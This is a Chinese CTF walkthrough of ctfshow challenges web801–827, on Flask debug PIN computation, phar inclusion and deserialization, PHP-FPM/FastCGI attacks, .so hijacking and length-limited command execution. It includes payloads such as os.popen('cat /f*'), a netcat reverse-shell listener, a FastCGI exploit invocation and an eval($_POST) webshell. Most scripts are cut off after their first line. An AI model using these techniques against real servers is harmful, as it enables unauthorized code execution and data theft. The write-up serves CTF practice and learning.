web801(flask算pin)
参考连接:新版flask的pin码计算 - m1xian - 博客园
关于ctf中flask算pin总结_ctf:flask-CSDN博客
需要开启debug模式,然后访问/console路径输入pin码即可执行python命令。
Flask的Pin码计算与werkzeug的版本有关。
werkzeug 1.0.x低版本使用MD5,werkzeug 2.1.x高版本使用SHA1(一般是python3.8以上使用)
pin码由下面6个数字计算得出
probably_public_bits
- username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
- appname:
getattr(app, "__name__", app.__class__.__name__),固定值,默认是Flask - modname:
getattr(app, "module", t.cast(object, app).class.module),获取固定值,默认是flask.app - moddir:
getattr(mod, "__file__", None),即app.py文件所在路径,一般可以通过查看debug报错信息获得
private_bits
5.uuid:str(uuid.getnode()),即电脑上的 MAC 地址,也可以通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39 => 95529701177
6.machine_id:get_machine_id(),首先读取 /etc/machine-id(docker不读它,即使有),如果有值则不读取 /proc/sys/kernel/random/boot_id,否则读取该文件。接着读取 /proc/self/cgroup,取第一行的最后一个斜杠 / 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id
werkzeug1.0.x的计算脚本:
1 | import hashlib |
werkzeug>=2.0.x的计算脚本:
1 | import hashlib |
访问/console,输入 pin码进入后台,然后执行py命令读取flag即可。
payload:
1 | os.popen('cat /f*').read() |
web802(无字母无数字rce)
参考无字母数字webshell总结-先知社区
最简单的取反脚本:
1 | <?php |
web803(phat文件包含)
phar相关参考:Phar的一些利用姿势-先知社区
这题先上传phar文件,然后再包含,从而命令执行。
生成phar文件:
1 | <?php |
发送并包含rce:
1 | import requests |
成功获得flag。
web804(phar反序列化)
参考连接:Phar的一些利用姿势-先知社区
1 | <?php |
web805(open_basedir绕过)
参考连接:Open_basedir绕过 - LLeaves - 博客园
web806(无参rce)
参考连接:无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客
常用函数:
1 | scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换) |
web807(反弹shell)
1 | 攻击者:nc -lvp 9999 |
web808(临时文件包含)
如果能访问/phpinfo.php则大概率存在这个漏洞。(若为php7.0则不需要)
本题版本为php7.0
参考PHP LFI 利用临时文件 Getshell 姿势_phpinfo拿shell-CSDN博客
下面是ph牛的代码,不用重复的造轮子,直接更改脚本主要的几个地方就可以成功运行利用,如上传的恶意文件内容、phpinfo.php和index.php相应文件的文件名和位置、系统临时文件写入目录等
1 | #python version 2.7 |
这题可以用session文件包含,参考链接session文件包含漏洞复现 - xiaoxiaosen - 博客园
脚本如下:
1 | import requests |
web809(pear文件包含/RCE)
利用条件:
1 | 1)服务器上安装pear,也就是存在pearcmd.php。同时知道pearcmd.php的文件路径 |
参考链接如何利用pear扩展实现rce - FreeBuf网络安全行业门户
web810(SSRF打PHP-FPM)
PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。构造数据包通过给SCRIPT_FILENAME赋值,达到执行任意PHP文件的目的了。
Fastcgi 协议分析与 PHP-FPM 攻击方法-先知社区
要求开放PHP-FPM服务。
web811(file_put_contents打PHP-FPM)
web812(PHP-FPM未授权)
脚本:
1 | import socket |
payload:
1 | python ftpexp.py -c "<?php system('cat /f*');?>" -p 28160 pwn.challenge.ctf.show /usr/local/lib/php/System.php |
web813(劫持mysqli)
利用条件:
1.拓展目录明确且可写
2.能够载入我们的恶意so文件(重启php-fpm或能使用php命令行)
3.有调用我们自定义函数的代码
参考链接:【Web】CTFSHOW 常用姿势刷题记录(全)_ctfshow全-CSDN博客
通过将常用的函数、类和数据打包成.so 文件,不同的程序可以共享这些代码,避免重复编写和维护相同的代码逻辑,提高了代码的重用性。
php -r 是 PHP 命令行工具的一个参数,用于在命令行中直接执行 PHP 代码而不需要编写独立的 PHP 脚本文件。通过 php -r 参数,可以方便快捷地在命令行中执行一行简单的 PHP 代码。
使用格式为:php -r ‘php code here’
注册函数找不到就去拓展目录找so文件,调用ctfshow函数的时候就会去so文件里面找,这题就是mysqli.so了,而mysqli.so已经被我们所覆写,从而执行恶意代码
web814(劫持getuid)
web821(7字符可写rce)
参考RCE篇之限制长度下的命令执行_51CTO博客_命令行参数长度限制
exp:
1 | import requests |
web822(7字符不可写(web目录不可写))
通过”.”和通配符来执行临时文件。
1 | import requests |
web823(5字符可写,有dir)
将index.php变成.php
将临时文件打包到当前目录
使用php执行tar压缩包(虽然前面有tar的字节,但是php代码的明文保存了下来,方便php直接执行)
1 | import requests |
web824(5字符可写无dir命令)
1 | import requests |
匹配了所有带h的行,将其重新写到index.php中。
web825(4字符,可写,有dir)
linux中dir和ls的区别:都是将当前目录的文件和文件夹按照顺序列出在同一行,但是ls经过管道或重定向后,结果是换行的,而dir经过管道或重定向后,结果是不换行的。
如果用ls拼接命令,在保证顺序的基础上,需要在每行后面加一个\来拼接下一行的命令
用dir命令就不需要\来拼接,只要保证顺序正确就行
只打一个执行命令的原理:举个例子,当文件夹下面有ls m n o p q文件时,只执行一个就等效于执行ls m n o p q这个命令,把第一个作为命令,后面的作为参数。再有,如果一个目录下有rev v两个文件,执行一个*就相当于执行rev v,将v文件的内容逆序输出
1 | import requests |
x文件内容:
1 | ls -tk >j #j php.xedni |
j内容就是一个base64的逆序
成功写shell,/a.php?1=eval($_POST[1]);继续post转接,蚁剑连shell看数据库
web826-827(4字符,可写、无dir,不出网)
1 | import requests |